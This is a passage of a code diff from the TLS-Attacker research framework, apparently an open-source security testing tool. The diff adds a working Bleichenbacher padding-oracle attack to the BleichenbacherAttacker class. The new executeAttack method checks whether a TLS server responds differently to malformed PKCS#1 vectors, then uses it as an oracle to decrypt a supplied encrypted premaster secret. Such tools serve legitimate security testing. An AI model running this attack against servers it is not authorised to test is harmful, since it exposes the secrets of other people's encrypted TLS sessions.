88 */
99package de .rub .nds .tlsattacker .attacks .impl ;
1010
11+ import de .rub .nds .modifiablevariable .util .ArrayConverter ;
1112import de .rub .nds .tlsattacker .attacks .config .BleichenbacherCommandConfig ;
13+ import de .rub .nds .tlsattacker .attacks .pkcs1 .Bleichenbacher ;
1214import de .rub .nds .tlsattacker .attacks .pkcs1 .BleichenbacherWorkflowGenerator ;
1315import de .rub .nds .tlsattacker .attacks .pkcs1 .BleichenbacherWorkflowType ;
1416import de .rub .nds .tlsattacker .attacks .pkcs1 .Pkcs1Vector ;
1517import de .rub .nds .tlsattacker .attacks .pkcs1 .Pkcs1VectorGenerator ;
18+ import de .rub .nds .tlsattacker .attacks .pkcs1 .VectorFingerprintPair ;
19+ import de .rub .nds .tlsattacker .attacks .pkcs1 .oracles .RealDirectMessagePkcs1Oracle ;
1620import de .rub .nds .tlsattacker .attacks .util .response .EqualityError ;
1721import de .rub .nds .tlsattacker .attacks .util .response .EqualityErrorTranslator ;
1822import de .rub .nds .tlsattacker .attacks .util .response .FingerPrintChecker ;
1923import de .rub .nds .tlsattacker .attacks .util .response .ResponseExtractor ;
2024import de .rub .nds .tlsattacker .attacks .util .response .ResponseFingerprint ;
2125import de .rub .nds .tlsattacker .core .config .Config ;
26+ import de .rub .nds .tlsattacker .core .constants .ProtocolVersion ;
27+ import de .rub .nds .tlsattacker .core .exceptions .ConfigurationException ;
2228import de .rub .nds .tlsattacker .core .state .State ;
2329import de .rub .nds .tlsattacker .core .util .CertificateFetcher ;
2430import de .rub .nds .tlsattacker .core .util .LogLevel ;
2531import de .rub .nds .tlsattacker .core .workflow .WorkflowExecutor ;
2632import de .rub .nds .tlsattacker .core .workflow .WorkflowExecutorFactory ;
2733import de .rub .nds .tlsattacker .core .workflow .WorkflowTrace ;
2834import java .io .IOException ;
35+ import java .math .BigInteger ;
2936import java .security .interfaces .RSAPublicKey ;
3037import java .util .LinkedList ;
3138import java .util .List ;
@@ -39,6 +46,8 @@ public class BleichenbacherAttacker extends Attacker<BleichenbacherCommandConfig
3946
4047 private final Config tlsConfig ;
4148
49+ private BleichenbacherWorkflowType vulnerableType ;
50+
4251 public BleichenbacherAttacker (BleichenbacherCommandConfig bleichenbacherConfig ) {
4352 super (bleichenbacherConfig );
4453 tlsConfig = bleichenbacherConfig .createConfig ();
@@ -56,8 +65,7 @@ public State executeTlsFlow(BleichenbacherWorkflowType type, byte[] encryptedPMS
5665
5766 @ Override
5867 public Boolean isVulnerable () {
59- RSAPublicKey publicKey ;
60- publicKey = (RSAPublicKey ) CertificateFetcher .fetchServerPublicKey (tlsConfig );
68+ RSAPublicKey publicKey = (RSAPublicKey ) CertificateFetcher .fetchServerPublicKey (tlsConfig );
6169 if (publicKey == null ) {
6270 LOGGER .info ("Could not retrieve PublicKey from Server - is the Server running?" );
6371 return null ;
@@ -76,6 +84,7 @@ public Boolean isVulnerable() {
7684 LOGGER .debug ("Testing: " + bbWorkflowType );
7785 EqualityError error = isVulnerable (bbWorkflowType , pkcs1Vectors );
7886 if (error != EqualityError .NONE ) {
87+ vulnerableType = bbWorkflowType ;
7988 return true ;
8089 }
8190 }
@@ -84,46 +93,103 @@ public Boolean isVulnerable() {
8493 }
8594
8695 private EqualityError isVulnerable (BleichenbacherWorkflowType bbWorkflowType , List <Pkcs1Vector > pkcs1Vectors ) {
87- List <ResponseFingerprint > responseFingerprintList = new LinkedList <>();
88- for (Pkcs1Vector pkcs1Vector : pkcs1Vectors ) {
89- State state = executeTlsFlow (bbWorkflowType , pkcs1Vector .getEncryptedValue ());
90- if (state .getWorkflowTrace ().allActionsExecuted ()) {
91- ResponseFingerprint fingerprint = ResponseExtractor .getFingerprint (state );
92- responseFingerprintList .add (fingerprint );
93- } else {
94- LOGGER .warn ("Could not execute Workflow. Something went wrong... Check the debug output for more information" );
95- }
96- clearConnections (state );
97- }
98- if (responseFingerprintList .isEmpty ()) {
96+ List <VectorFingerprintPair > bleichenbacherVectorMap = getBleichenbacherMap (bbWorkflowType , pkcs1Vectors );
97+ if (bleichenbacherVectorMap .isEmpty ()) {
9998 LOGGER .warn ("Could not extract Fingerprints" );
10099 return null ;
101100 }
102- for (int i = 0 ; i < responseFingerprintList .size (); i ++) {
103- ResponseFingerprint fingerprint = responseFingerprintList .get (i );
104- Pkcs1Vector pkcs1Vector = pkcs1Vectors .get (i );
105- LOGGER .debug ("\n PKCS#1 vector: {}\n Fingerprint: {}" , pkcs1Vector .getDescription (), fingerprint .toString ());
106- }
107- ResponseFingerprint fingerprint = responseFingerprintList .get (0 );
108- for (int i = 1 ; i < responseFingerprintList .size (); i ++) {
109- EqualityError error = FingerPrintChecker .checkEquality (fingerprint , responseFingerprintList .get (i ), false );
101+ printBleichenbacherVectormap (bleichenbacherVectorMap );
102+ ResponseFingerprint fingerprint = bleichenbacherVectorMap .get (0 ).getFingerprint ();
103+ for (VectorFingerprintPair pair : bleichenbacherVectorMap ) {
104+ EqualityError error = FingerPrintChecker .checkEquality (fingerprint , pair .getFingerprint (), false );
110105 if (error != EqualityError .NONE ) {
111106 LOGGER .log (LogLevel .CONSOLE_OUTPUT , "Found a difference in responses in the {}." ,
112107 bbWorkflowType .getDescription ());
113108 LOGGER .log (LogLevel .CONSOLE_OUTPUT ,
114- EqualityErrorTranslator .translation (error , fingerprint , responseFingerprintList .get (i )));
115- LOGGER .debug ("Fingerprint1: {}" , fingerprint .toString ());
116- LOGGER .debug ("Fingerprint2: {}" , responseFingerprintList .get (i ).toString ());
109+ EqualityErrorTranslator .translation (error , fingerprint , pair .getFingerprint ()));
117110 return error ;
118111 }
119112 }
120113 return EqualityError .NONE ;
121114 }
122115
116+ private void printBleichenbacherVectormap (List <VectorFingerprintPair > bleichenbacherVectorMap ) {
117+ LOGGER .debug ("Vectormap:" );
118+ LOGGER .debug ("---------------" );
119+ for (VectorFingerprintPair pair : bleichenbacherVectorMap ) {
120+ LOGGER .debug (pair );
121+ }
122+ LOGGER .debug ("---------------" );
123+ }
124+
125+ private List <VectorFingerprintPair > getBleichenbacherMap (BleichenbacherWorkflowType bbWorkflowType ,
126+ List <Pkcs1Vector > pkcs1Vectors ) {
127+ List <VectorFingerprintPair > bleichenbacherVectorMap = new LinkedList <>();
128+ for (Pkcs1Vector pkcs1Vector : pkcs1Vectors ) {
129+ ResponseFingerprint fingerprint = getFingerprint (bbWorkflowType , pkcs1Vector .getEncryptedValue ());
130+ if (fingerprint != null ) {
131+ bleichenbacherVectorMap .add (new VectorFingerprintPair (fingerprint , pkcs1Vector ));
132+ }
133+ }
134+ return bleichenbacherVectorMap ;
135+ }
136+
137+ private ResponseFingerprint getFingerprint (BleichenbacherWorkflowType type , byte [] encryptedPMS ) {
138+ State state = executeTlsFlow (type , encryptedPMS );
139+ if (state .getWorkflowTrace ().allActionsExecuted ()) {
140+ ResponseFingerprint fingerprint = ResponseExtractor .getFingerprint (state );
141+ clearConnections (state );
142+ return fingerprint ;
143+ } else {
144+ LOGGER .warn ("Could not execute Workflow. Something went wrong... Check the debug output for more information" );
145+ }
146+ return null ;
147+ }
148+
123149 @ Override
124150 public void executeAttack () {
125- // removed for now
126- throw new UnsupportedOperationException ("Not implemented yet" );
151+ // needs to execute the isVulnerable method to configure the workflow
152+ // type
153+ boolean vulnerable = isVulnerable ();
154+ LOGGER .info ("Using the following oracle type: {}" , vulnerableType );
155+
156+ if (!vulnerable ) {
157+ LOGGER .warn ("The server is not vulnerable to the Bleichenbacher attack" );
158+ return ;
159+ }
160+ RSAPublicKey publicKey = (RSAPublicKey ) CertificateFetcher .fetchServerPublicKey (tlsConfig );
161+ if (publicKey == null ) {
162+ LOGGER .info ("Could not retrieve PublicKey from Server - is the Server running?" );
163+ return ;
164+ }
165+
166+ if (config .getEncryptedPremasterSecret () == null ) {
167+ throw new ConfigurationException ("You have to set the encrypted premaster secret you are "
168+ + "going to decrypt" );
169+ }
170+
171+ LOGGER .info ("Fetched the following server public key: " + publicKey );
172+ byte [] pms = ArrayConverter .hexStringToByteArray (config .getEncryptedPremasterSecret ());
173+ if ((pms .length * 8 ) != publicKey .getModulus ().bitLength ()) {
174+ throw new ConfigurationException ("The length of the encrypted premaster secret you have "
175+ + "is not equal to the server public key length. Have you selected the correct value?" );
176+ }
177+ RealDirectMessagePkcs1Oracle oracle = new RealDirectMessagePkcs1Oracle (publicKey , config ,
178+ extractValidFingerprint (publicKey , tlsConfig .getDefaultHighestClientProtocolVersion ()), null ,
179+ vulnerableType );
180+ Bleichenbacher attacker = new Bleichenbacher (pms , oracle , config .isMsgPkcsConform ());
181+ attacker .attack ();
182+ BigInteger solution = attacker .getSolution ();
183+ LOGGER .log (LogLevel .CONSOLE_OUTPUT , solution .toString (16 ));
184+ }
185+
186+ private ResponseFingerprint extractValidFingerprint (RSAPublicKey publicKey , ProtocolVersion version ) {
187+ return getFingerprint (vulnerableType , Pkcs1VectorGenerator .generateCorrectPkcs1Vector (publicKey , version )
188+ .getEncryptedValue ());
189+ }
190+
191+ private ResponseFingerprint extractInvalidFingerprint () {
192+ return null ;
127193 }
128194
129195 private void clearConnections (State state ) {
0 commit comments